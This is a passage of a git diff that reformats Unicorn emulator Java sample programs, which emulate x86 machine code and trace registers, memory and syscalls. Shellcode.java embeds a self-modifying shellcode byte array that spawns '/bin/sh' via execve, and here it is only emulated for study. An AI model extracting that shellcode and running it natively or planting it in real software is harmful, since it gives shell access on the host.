(Long)u.reg_read(Unicorn.UC_X86_REG_EDX); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); - - u.close(); - } + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - static void test_x86_64() - { - long rax = 0x71f3029efd49d41dL; - long rbx = 0xd87b45277f133ddbL; - long rcx = 0xab40d1ffd8afc461L; - long rdx = 0x919317b4a733f01L; - long rsi = 0x4c24e753a17ea358L; - long rdi = 0xe509a57d2571ce96L; - long r8 = 0xea5b108cc2b9ab1fL; - long r9 = 0x19ec097c8eb618c1L; - long r10 = 0xec45774f00c5f682L; - long r11 = 0xe17e9dbec8c074aaL; - long r12 = 0x80f86a8dc0f6d457L; - long r13 = 0x48288ca5671c5492L; - long r14 = 0x595f72f6e4017f6eL; - long r15 = 0x1efd97aea331ccccL; - - long rsp = ADDRESS + 0x200000; - - System.out.print("Emulate x86_64 code\n"); - - // Initialize emulator in X86-64bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE64); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_RSP, rsp); + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_INOUT); - u.reg_write(Unicorn.UC_X86_REG_RAX, rax); - u.reg_write(Unicorn.UC_X86_REG_RBX, rbx); - u.reg_write(Unicorn.UC_X86_REG_RCX, rcx); - u.reg_write(Unicorn.UC_X86_REG_RDX, rdx); - u.reg_write(Unicorn.UC_X86_REG_RSI, rsi); - u.reg_write(Unicorn.UC_X86_REG_RDI, rdi); - u.reg_write(Unicorn.UC_X86_REG_R8, r8); - u.reg_write(Unicorn.UC_X86_REG_R9, r9); - u.reg_write(Unicorn.UC_X86_REG_R10, r10); - u.reg_write(Unicorn.UC_X86_REG_R11, r11); - u.reg_write(Unicorn.UC_X86_REG_R12, r12); - u.reg_write(Unicorn.UC_X86_REG_R13, r13); - u.reg_write(Unicorn.UC_X86_REG_R14, r14); - u.reg_write(Unicorn.UC_X86_REG_R15, r15); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instructions in the range [ADDRESS, ADDRESS+20] - u.hook_add(new MyCode64Hook(), ADDRESS, ADDRESS+20, null); - - // tracing all memory WRITE access (with @begin > @end) - u.hook_add(new MyWrite64Hook(), 1, 0, null); - - // tracing all memory READ access (with @begin > @end) - u.hook_add(new MyRead64Hook(), 1, 0, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + X86_CODE64.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - Long r_rax = (Long)u.reg_read(Unicorn.UC_X86_REG_RAX); - Long r_rbx = (Long)u.reg_read(Unicorn.UC_X86_REG_RBX); - Long r_rcx = (Long)u.reg_read(Unicorn.UC_X86_REG_RCX); - Long r_rdx = (Long)u.reg_read(Unicorn.UC_X86_REG_RDX); - Long r_rsi = (Long)u.reg_read(Unicorn.UC_X86_REG_RSI); - Long r_rdi = (Long)u.reg_read(Unicorn.UC_X86_REG_RDI); - Long r_r8 = (Long)u.reg_read(Unicorn.UC_X86_REG_R8); - Long r_r9 = (Long)u.reg_read(Unicorn.UC_X86_REG_R9); - Long r_r10 = (Long)u.reg_read(Unicorn.UC_X86_REG_R10); - Long r_r11 = (Long)u.reg_read(Unicorn.UC_X86_REG_R11); - Long r_r12 = (Long)u.reg_read(Unicorn.UC_X86_REG_R12); - Long r_r13 = (Long)u.reg_read(Unicorn.UC_X86_REG_R13); - Long r_r14 = (Long)u.reg_read(Unicorn.UC_X86_REG_R14); - Long r_r15 = (Long)u.reg_read(Unicorn.UC_X86_REG_R15); - - System.out.printf(">>> RAX = 0x%x\n", r_rax.longValue()); - System.out.printf(">>> RBX = 0x%x\n", r_rbx.longValue()); - System.out.printf(">>> RCX = 0x%x\n", r_rcx.longValue()); - System.out.printf(">>> RDX = 0x%x\n", r_rdx.longValue()); - System.out.printf(">>> RSI = 0x%x\n", r_rsi.longValue()); - System.out.printf(">>> RDI = 0x%x\n", r_rdi.longValue()); - System.out.printf(">>> R8 = 0x%x\n", r_r8.longValue()); - System.out.printf(">>> R9 = 0x%x\n", r_r9.longValue()); - System.out.printf(">>> R10 = 0x%x\n", r_r10.longValue()); - System.out.printf(">>> R11 = 0x%x\n", r_r11.longValue()); - System.out.printf(">>> R12 = 0x%x\n", r_r12.longValue()); - System.out.printf(">>> R13 = 0x%x\n", r_r13.longValue()); - System.out.printf(">>> R14 = 0x%x\n", r_r14.longValue()); - System.out.printf(">>> R15 = 0x%x\n", r_r15.longValue()); - - u.close(); - } + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_EAX, r_eax); + u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - static void test_x86_16() - { - Long eax = 7L; - Long ebx = 5L; - Long esi = 6L; - - System.out.print("Emulate x86 16-bit code\n"); - - // Initialize emulator in X86-16bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_16); - - // map 8KB memory for this emulation - u.mem_map(0, 8 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(0, X86_CODE16); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_EAX, eax); - u.reg_write(Unicorn.UC_X86_REG_EBX, ebx); - u.reg_write(Unicorn.UC_X86_REG_ESI, esi); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(0, X86_CODE16.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - // read from memory - byte[] tmp = u.mem_read(11, 1); - System.out.printf(">>> Read 1 bytes from [0x%x] = 0x%x\n", 11, toInt(tmp)); + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); - u.close(); - } + // tracing all instructions + u.hook_add(new MyCodeHook(), 1, 0, null); - public static void main(String args[]) - { - if (args.length == 1) { - if (args[0].equals("-32")) { - test_i386(); - test_i386_inout(); - test_i386_jump(); - test_i386_loop(); - test_i386_invalid_mem_read(); - test_i386_invalid_mem_write(); - test_i386_jump_invalid(); - } - - if (args[0].equals("-64")) { - test_x86_64(); - } - - if (args[0].equals("-16")) { - test_x86_16(); - } + // handle IN instruction + u.hook_add(new MyInHook(), null); + // handle OUT instruction + u.hook_add(new MyOutHook(), null); - // test memleak - if (args[0].equals("-0")) { - while(true) { - test_i386(); - // test_x86_64(); - } - } - } else { - System.out.print("Syntax: java Sample_x86 <-16|-32|-64>\n"); - } - - } + // emulate machine code in infinite time + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_INOUT.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_eax = (Long) u.reg_read(Unicorn.UC_X86_REG_EAX); + r_ecx = (Long) u.reg_read(Unicorn.UC_X86_REG_ECX); + System.out.printf(">>> EAX = 0x%x\n", r_eax.intValue()); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + + u.close(); + } + + static void test_i386_jump() { + System.out.print("===================================\n"); + System.out.print("Emulate i386 code with jump\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_JUMP); + + // tracing 1 basic block with customized callback + u.hook_add(new MyBlockHook(), ADDRESS, ADDRESS, null); + + // tracing 1 instruction at ADDRESS + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JUMP.length, 0, 0); + + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + u.close(); + } + + // emulate code that loop forever + static void test_i386_loop() { + Long r_ecx = 0x1234L; // ECX register + Long r_edx = 0x7890L; // EDX register + + System.out.print("===================================\n"); + System.out.print("Emulate i386 code that loop forever\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_LOOP); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); + + // emulate machine code in 2 seconds, so we can quit even + // if the code loops + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_LOOP.length, + 2 * Unicorn.UC_SECOND_SCALE, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_ecx = (Long) u.reg_read(Unicorn.UC_X86_REG_ECX); + r_edx = (Long) u.reg_read(Unicorn.UC_X86_REG_EDX); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); + + u.close(); + } + + // emulate code that read invalid memory + static void test_i386_invalid_mem_read() { + Long r_ecx = 0x1234L; // ECX register + Long r_edx = 0x7890L; // EDX register + + System.out.print("===================================\n"); + System.out.print("Emulate i386 code that read from invalid memory\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_MEM_READ); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instruction by having @begin > @end + u.hook_add(new MyCodeHook(), 1, 0, null); + + // emulate machine code in infinite time + try { + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0); + } catch (UnicornException uex) { + int err = u.errno(); + System.out.printf( + "Failed on u.emu_start() with error returned: %s\n", + uex.getMessage()); + } + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_ecx = (Long) u.reg_read(Unicorn.UC_X86_REG_ECX); + r_edx = (Long) u.reg_read(Unicorn.UC_X86_REG_EDX); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); + + u.close(); + } + + // emulate code that read invalid memory + static void test_i386_invalid_mem_write() { + Long r_ecx = 0x1234L; // ECX register + Long r_edx = 0x7890L; // EDX register + + System.out.print("===================================\n"); + System.out.print("Emulate i386 code that write to invalid memory\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_MEM_WRITE); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instruction by having @begin > @end + u.hook_add(new MyCodeHook(), 1, 0, null); + + // intercept invalid memory events + u.hook_add(new MyWriteInvalidHook(), Unicorn.UC_HOOK_MEM_WRITE_UNMAPPED, + null); + + // emulate machine code in infinite time + try { + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0); + } catch (UnicornException uex) { + System.out.printf( + "Failed on uc_emu_start() with error returned: %s\n", + uex.getMessage()); + } + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_ecx = (Long) u.reg_read(Unicorn.UC_X86_REG_ECX); + r_edx = (Long) u.reg_read(Unicorn.UC_X86_REG_EDX); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); + + // read from memory + byte tmp[] = u.mem_read(0xaaaaaaaa, 4); + System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xaaaaaaaa, + toInt(tmp)); + + try { + u.mem_read(0xffffffaa, 4); + System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", + 0xffffffaa, toInt(tmp)); + } catch (UnicornException uex) { + System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", + 0xffffffaa); + } + + u.close(); + } + + // emulate code that jump to invalid memory + static void test_i386_jump_invalid() { + Long r_ecx = 0x1234L; // ECX register + Long r_edx = 0x7890L; // EDX register + + System.out.print("===================================\n"); + System.out.print("Emulate i386 code that jumps to invalid memory\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_JMP_INVALID); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instructions by having @begin > @end + u.hook_add(new MyCodeHook(), 1, 0, null); + + // emulate machine code in infinite time + try { + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JMP_INVALID.length, 0, 0); + } catch (UnicornException uex) { + System.out.printf( + "Failed on uc_emu_start() with error returned: %s\n", + uex.getMessage()); + } + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_ecx = (Long) u.reg_read(Unicorn.UC_X86_REG_ECX); + r_edx = (Long) u.reg_read(Unicorn.UC_X86_REG_EDX); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); + + u.close(); + } + + static void test_x86_64() { + long rax = 0x71f3029efd49d41dL; + long rbx = 0xd87b45277f133ddbL; + long rcx = 0xab40d1ffd8afc461L; + long rdx = 0x919317b4a733f01L; + long rsi = 0x4c24e753a17ea358L; + long rdi = 0xe509a57d2571ce96L; + long r8 = 0xea5b108cc2b9ab1fL; + long r9 = 0x19ec097c8eb618c1L; + long r10 = 0xec45774f00c5f682L; + long r11 = 0xe17e9dbec8c074aaL; + long r12 = 0x80f86a8dc0f6d457L; + long r13 = 0x48288ca5671c5492L; + long r14 = 0x595f72f6e4017f6eL; + long r15 = 0x1efd97aea331ccccL; + + long rsp = ADDRESS + 0x200000; + + System.out.print("Emulate x86_64 code\n"); + + // Initialize emulator in X86-64bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE64); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_RSP, rsp); + + u.reg_write(Unicorn.UC_X86_REG_RAX, rax); + u.reg_write(Unicorn.UC_X86_REG_RBX, rbx); + u.reg_write(Unicorn.UC_X86_REG_RCX, rcx); + u.reg_write(Unicorn.UC_X86_REG_RDX, rdx); + u.reg_write(Unicorn.UC_X86_REG_RSI, rsi); + u.reg_write(Unicorn.UC_X86_REG_RDI, rdi); + u.reg_write(Unicorn.UC_X86_REG_R8, r8); + u.reg_write(Unicorn.UC_X86_REG_R9, r9); + u.reg_write(Unicorn.UC_X86_REG_R10, r10); + u.reg_write(Unicorn.UC_X86_REG_R11, r11); + u.reg_write(Unicorn.UC_X86_REG_R12, r12); + u.reg_write(Unicorn.UC_X86_REG_R13, r13); + u.reg_write(Unicorn.UC_X86_REG_R14, r14); + u.reg_write(Unicorn.UC_X86_REG_R15, r15); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instructions in the range [ADDRESS, ADDRESS+20] + u.hook_add(new MyCode64Hook(), ADDRESS, ADDRESS + 20, null); + + // tracing all memory WRITE access (with @begin > @end) + u.hook_add(new MyWrite64Hook(), 1, 0, null); + + // tracing all memory READ access (with @begin > @end) + u.hook_add(new MyRead64Hook(), 1, 0, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + X86_CODE64.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + Long r_rax = (Long) u.reg_read(Unicorn.UC_X86_REG_RAX); + Long r_rbx = (Long) u.reg_read(Unicorn.UC_X86_REG_RBX); + Long r_rcx = (Long) u.reg_read(Unicorn.UC_X86_REG_RCX); + Long r_rdx = (Long) u.reg_read(Unicorn.UC_X86_REG_RDX); + Long r_rsi = (Long) u.reg_read(Unicorn.UC_X86_REG_RSI); + Long r_rdi = (Long) u.reg_read(Unicorn.UC_X86_REG_RDI); + Long r_r8 = (Long) u.reg_read(Unicorn.UC_X86_REG_R8); + Long r_r9 = (Long) u.reg_read(Unicorn.UC_X86_REG_R9); + Long r_r10 = (Long) u.reg_read(Unicorn.UC_X86_REG_R10); + Long r_r11 = (Long) u.reg_read(Unicorn.UC_X86_REG_R11); + Long r_r12 = (Long) u.reg_read(Unicorn.UC_X86_REG_R12); + Long r_r13 = (Long) u.reg_read(Unicorn.UC_X86_REG_R13); + Long r_r14 = (Long) u.reg_read(Unicorn.UC_X86_REG_R14); + Long r_r15 = (Long) u.reg_read(Unicorn.UC_X86_REG_R15); + + System.out.printf(">>> RAX = 0x%x\n", r_rax.longValue()); + System.out.printf(">>> RBX = 0x%x\n", r_rbx.longValue()); + System.out.printf(">>> RCX = 0x%x\n", r_rcx.longValue()); + System.out.printf(">>> RDX = 0x%x\n", r_rdx.longValue()); + System.out.printf(">>> RSI = 0x%x\n", r_rsi.longValue()); + System.out.printf(">>> RDI = 0x%x\n", r_rdi.longValue()); + System.out.printf(">>> R8 = 0x%x\n", r_r8.longValue()); + System.out.printf(">>> R9 = 0x%x\n", r_r9.longValue()); + System.out.printf(">>> R10 = 0x%x\n", r_r10.longValue()); + System.out.printf(">>> R11 = 0x%x\n", r_r11.longValue()); + System.out.printf(">>> R12 = 0x%x\n", r_r12.longValue()); + System.out.printf(">>> R13 = 0x%x\n", r_r13.longValue()); + System.out.printf(">>> R14 = 0x%x\n", r_r14.longValue()); + System.out.printf(">>> R15 = 0x%x\n", r_r15.longValue()); + + u.close(); + } + + static void test_x86_16() { + Long eax = 7L; + Long ebx = 5L; + Long esi = 6L; + + System.out.print("Emulate x86 16-bit code\n"); + + // Initialize emulator in X86-16bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_16); + + // map 8KB memory for this emulation + u.mem_map(0, 8 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(0, X86_CODE16); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_EAX, eax); + u.reg_write(Unicorn.UC_X86_REG_EBX, ebx); + u.reg_write(Unicorn.UC_X86_REG_ESI, esi); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(0, X86_CODE16.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + // read from memory + byte[] tmp = u.mem_read(11, 1); + System.out.printf(">>> Read 1 bytes from [0x%x] = 0x%x\n", 11, + toInt(tmp)); + + u.close(); + } + + public static void main(String args[]) { + if (args.length == 1) { + if (args[0].equals("-32")) { + test_i386(); + test_i386_inout(); + test_i386_jump(); + test_i386_loop(); + test_i386_invalid_mem_read(); + test_i386_invalid_mem_write(); + test_i386_jump_invalid(); + } + + if (args[0].equals("-64")) { + test_x86_64(); + } + + if (args[0].equals("-16")) { + test_x86_16(); + } + + // test memleak + if (args[0].equals("-0")) { + while (true) { + test_i386(); + // test_x86_64(); + } + } + } else { + System.out.print("Syntax: java Sample_x86 <-16|-32|-64>\n"); + } + + } } diff --git a/bindings/java/samples/Sample_x86_mmr.java b/bindings/java/samples/Sample_x86_mmr.java index 0ecb3a1e..fc2bb08b 100644 --- a/bindings/java/samples/Sample_x86_mmr.java +++ b/bindings/java/samples/Sample_x86_mmr.java @@ -25,53 +25,55 @@ import unicorn.*; public class Sample_x86_mmr { - static void test_x86_mmr() { - // Initialize emulator in X86-32bit mode - Unicorn uc; - try { - uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - } catch (UnicornException uex) { - System.out.println("Failed on uc_open() with error returned: " + uex); - return; - } - - // map 4k - uc.mem_map(0x400000, 0x1000, Unicorn.UC_PROT_ALL); + static void test_x86_mmr() { + // Initialize emulator in X86-32bit mode + Unicorn uc; + try { + uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + } catch (UnicornException uex) { + System.out + .println("Failed on uc_open() with error returned: " + uex); + return; + } - X86_MMR ldtr1 = new X86_MMR(0x1111111122222222L, 0x33333333, 0x44444444, (short)0x5555); - X86_MMR ldtr2; - X86_MMR gdtr1 = new X86_MMR(0x6666666677777777L, 0x88888888, 0x99999999, (short)0xaaaa); - X86_MMR gdtr2, gdtr3, gdtr4; + // map 4k + uc.mem_map(0x400000, 0x1000, Unicorn.UC_PROT_ALL); - int eax; - - // initialize machine registers + X86_MMR ldtr1 = new X86_MMR(0x1111111122222222L, 0x33333333, 0x44444444, + (short) 0x5555); + X86_MMR ldtr2; + X86_MMR gdtr1 = new X86_MMR(0x6666666677777777L, 0x88888888, 0x99999999, + (short) 0xaaaa); + X86_MMR gdtr2, gdtr3, gdtr4; - uc.reg_write(Unicorn.UC_X86_REG_LDTR, ldtr1); - uc.reg_write(Unicorn.UC_X86_REG_GDTR, gdtr1); - uc.reg_write(Unicorn.UC_X86_REG_EAX, 0xddddddddL); - - // read the registers back out - eax = (int)((Long)uc.reg_read(Unicorn.UC_X86_REG_EAX)).longValue(); - ldtr2 = (X86_MMR)uc.reg_read(Unicorn.UC_X86_REG_LDTR); - gdtr2 = (X86_MMR)uc.reg_read(Unicorn.UC_X86_REG_GDTR); + int eax; - System.out.printf(">>> EAX = 0x%x\n", eax); + // initialize machine registers - System.out.printf(">>> LDTR.base = 0x%x\n", ldtr2.base); - System.out.printf(">>> LDTR.limit = 0x%x\n", ldtr2.limit); - System.out.printf(">>> LDTR.flags = 0x%x\n", ldtr2.flags); - System.out.printf(">>> LDTR.selector = 0x%x\n\n", ldtr2.selector); + uc.reg_write(Unicorn.UC_X86_REG_LDTR, ldtr1); + uc.reg_write(Unicorn.UC_X86_REG_GDTR, gdtr1); + uc.reg_write(Unicorn.UC_X86_REG_EAX, 0xddddddddL); - System.out.printf(">>> GDTR.base = 0x%x\n", gdtr2.base); - System.out.printf(">>> GDTR.limit = 0x%x\n", gdtr2.limit); - - uc.close(); - } + // read the registers back out + eax = (int) ((Long) uc.reg_read(Unicorn.UC_X86_REG_EAX)).longValue(); + ldtr2 = (X86_MMR) uc.reg_read(Unicorn.UC_X86_REG_LDTR); + gdtr2 = (X86_MMR) uc.reg_read(Unicorn.UC_X86_REG_GDTR); - public static void main(String args[]) - { - test_x86_mmr(); - } + System.out.printf(">>> EAX = 0x%x\n", eax); + + System.out.printf(">>> LDTR.base = 0x%x\n", ldtr2.base); + System.out.printf(">>> LDTR.limit = 0x%x\n", ldtr2.limit); + System.out.printf(">>> LDTR.flags = 0x%x\n", ldtr2.flags); + System.out.printf(">>> LDTR.selector = 0x%x\n\n", ldtr2.selector); + + System.out.printf(">>> GDTR.base = 0x%x\n", gdtr2.base); + System.out.printf(">>> GDTR.limit = 0x%x\n", gdtr2.limit); + + uc.close(); + } + + public static void main(String args[]) { + test_x86_mmr(); + } } diff --git a/bindings/java/samples/Shellcode.java b/bindings/java/samples/Shellcode.java index e75d922b..be9b701c 100644 --- a/bindings/java/samples/Shellcode.java +++ b/bindings/java/samples/Shellcode.java @@ -25,137 +25,149 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. /* Sample code to trace code with Linux code with syscall */ import unicorn.*; -import java.math.*; public class Shellcode { - public static final byte[] X86_CODE32 = {-21,25,49,-64,49,-37,49,-46,49,-55,-80,4,-77,1,89,-78,5,-51,-128,49,-64,-80,1,49,-37,-51,-128,-24,-30,-1,-1,-1,104,101,108,108,111}; - public static final byte[] X86_CODE32_SELF = {-21,28,90,-119,-42,-117,2,102,61,-54,125,117,6,102,5,3,3,-119,2,-2,-62,61,65,65,65,65,117,-23,-1,-26,-24,-33,-1,-1,-1,49,-46,106,11,88,-103,82,104,47,47,115,104,104,47,98,105,110,-119,-29,82,83,-119,-31,-54,125,65,65,65,65,65,65,65,65}; - - // memory address where emulation starts - public static final int ADDRESS = 0x1000000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } + public static final byte[] X86_CODE32 = { -21, 25, 49, -64, 49, -37, 49, + -46, 49, -55, -80, 4, -77, 1, 89, -78, 5, -51, -128, 49, -64, -80, 1, + 49, -37, -51, -128, -24, -30, -1, -1, -1, 104, 101, 108, 108, 111 }; + public static final byte[] X86_CODE32_SELF = { -21, 28, 90, -119, -42, -117, + 2, 102, 61, -54, 125, 117, 6, 102, 5, 3, 3, -119, 2, -2, -62, 61, 65, + 65, 65, 65, 117, -23, -1, -26, -24, -33, -1, -1, -1, 49, -46, 106, 11, + 88, -103, 82, 104, 47, 47, 115, 104, 104, 47, 98, 105, 110, -119, -29, + 82, 83, -119, -31, -54, 125, 65, 65, 65, 65, 65, 65, 65, 65 }; - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - public static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user) { - - System.out.print(String.format("Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - - Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); - System.out.print(String.format("*** EIP = %x ***: ", r_eip.intValue())); - - size = Math.min(16, size); + // memory address where emulation starts + public static final int ADDRESS = 0x1000000; - byte[] tmp = u.mem_read(address, size); - for (int i = 0; i < tmp.length; i++) { - System.out.print(String.format("%x ", 0xff & tmp[i])); - } - System.out.print("\n"); - } - }; + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } - public static class MyInterruptHook implements InterruptHook { - public void hook(Unicorn u, int intno, Object user) { - Long r_ecx; - Long r_edx; - int size; - - // only handle Linux syscall - if (intno != 0x80) { - return; - } - - Long r_eax = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX); - Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); - - switch (r_eax.intValue()) { + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte) (val & 0xff); + val >>>= 8; + } + return res; + } + + public static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user) { + + System.out.print(String.format( + "Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size)); + + Long r_eip = (Long) u.reg_read(Unicorn.UC_X86_REG_EIP); + System.out.print( + String.format("*** EIP = %x ***: ", r_eip.intValue())); + + size = Math.min(16, size); + + byte[] tmp = u.mem_read(address, size); + for (int i = 0; i < tmp.length; i++) { + System.out.print(String.format("%x ", 0xff & tmp[i])); + } + System.out.print("\n"); + } + }; + + public static class MyInterruptHook implements InterruptHook { + public void hook(Unicorn u, int intno, Object user) { + Long r_ecx; + Long r_edx; + int size; + + // only handle Linux syscall + if (intno != 0x80) { + return; + } + + Long r_eax = (Long) u.reg_read(Unicorn.UC_X86_REG_EAX); + Long r_eip = (Long) u.reg_read(Unicorn.UC_X86_REG_EIP); + + switch (r_eax.intValue()) { default: - System.out.print(String.format(">>> 0x%x: interrupt 0x%x, EAX = 0x%x\n", r_eip.intValue(), intno, r_eax.intValue())); - break; + System.out.print( + String.format(">>> 0x%x: interrupt 0x%x, EAX = 0x%x\n", + r_eip.intValue(), intno, r_eax.intValue())); + break; case 1: // sys_exit - System.out.print(String.format(">>> 0x%x: interrupt 0x%x, SYS_EXIT. quit!\n\n", r_eip.intValue(), intno)); - u.emu_stop(); - break; + System.out.print(String.format( + ">>> 0x%x: interrupt 0x%x, SYS_EXIT. quit!\n\n", + r_eip.intValue(), intno)); + u.emu_stop(); + break; case 4: // sys_write - // ECX = buffer address - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - - // EDX = buffer size - r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); - - // read the buffer in - size = (int)Math.min(256, r_edx); - - byte[] buffer = u.mem_read(r_ecx, size); - System.out.print(String.format(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = '%s'\n", - r_eip.intValue(), intno, 